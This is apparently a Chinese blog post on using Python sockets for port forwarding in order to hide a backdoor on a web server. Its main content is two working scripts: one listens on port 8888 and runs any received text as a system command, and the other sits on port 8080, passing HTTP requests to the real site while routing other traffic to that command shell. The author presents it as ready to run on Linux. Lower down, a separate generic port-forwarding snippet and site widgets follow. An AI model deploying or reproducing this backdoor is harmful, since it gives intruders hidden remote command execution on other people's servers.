python端口转发_python基于socket进行端口转发

分享一个大神的人工智能教程。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到人工智能的队伍中来!http://www.captainbed.net/xiaohei

python基于socket进行端口转发实现后门隐藏

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python

from socket import *

import os

HOST='127.0.0.1'

PORT=8888

BUFSIZE=1024

ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)

tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcpSerSock.bind(ADDR)

tcpSerSock.listen(5)

while True:

print("waiting for connection...")

tcpCliSock,addr = tcpSerSock.accept()

print("...connected from:",addr)

while True:

data=tcpCliSock.recv(BUFSIZE)

if not data:

break

info = data.split('\n')

command = info[0]

try:

os.system(command + " > command.txt");

file = open('command.txt')

data =""

for line in file:

data=data+line;

tcpCliSock.send(data)

except Exception:

tcpCliSock.send("Nothing to do")

tcpCliSock.close()

tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python

from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))

tcp1.listen(10)

BUFFER_SIZE=2048

tcpCliSock,addr = tcp1.accept()

while True:

data = tcpCliSock.recv(BUFFER_SIZE)

if 'HTTP' in data:

tcp3 = socket(AF_INET,SOCK_STREAM)

tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp3.connect(('127.0.0.1',80))

tcp3.send(data)

htmlinfo = tcp3.recv(2048)

if not htmlinfo:

tcp3.close()

else:

tcpCliSock.send(htmlinfo)

else:

tcp2 = socket(AF_INET,SOCK_STREAM)

tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp2.connect(('127.0.0.1',8888))

data = data.replace("\n"," ")

print data

tcp2.send(data)

commandinfo = tcp2.recv(1024)

tcpCliSock.send(commandinfo)

tcp2.close()

tcpCliSock.close()

tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要在Python实现端口转发,可以使用socket模块来完成。下面是一个示例代码: ```python import socket def forward(source_host, source_port, target_host, target_port): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as source_socket: source_socket.bind((source_host, source_port)) source_socket.listen(1) print(f'Listening on {source_host}:{source_port}') while True: client_socket, client_address = source_socket.accept() print(f'Accepted connection from {client_address}') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as target_socket: target_socket.connect((target_host, target_port)) print(f'Connected to target {target_host}:{target_port}') while True: data = client_socket.recv(1024) if not data: break target_socket.sendall(data) print(f'Sent {len(data)} bytes to target') client_socket.close() print(f'Closed connection from {client_address}') ``` 这个函数接受四个参数:源主机、源端口、目标主机和目标端口。它使用socket模块创建一个监听套接字,并在循环中接受来自客户端的连接。一旦有连接,它将创建一个与目标主机和端口的套接字连接,并在循环中将来自客户端的数据转发到目标套接字。如果客户端关闭连接或发生错误,它将关闭连接并重新开始监听。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [python如何开发一个端口转发工具](https://blog.csdn.net/zhangzhechun/article/details/129281476)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [Python实现一个简单的HTTP代理](https://blog.csdn.net/qq_42766994/article/details/119777210)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值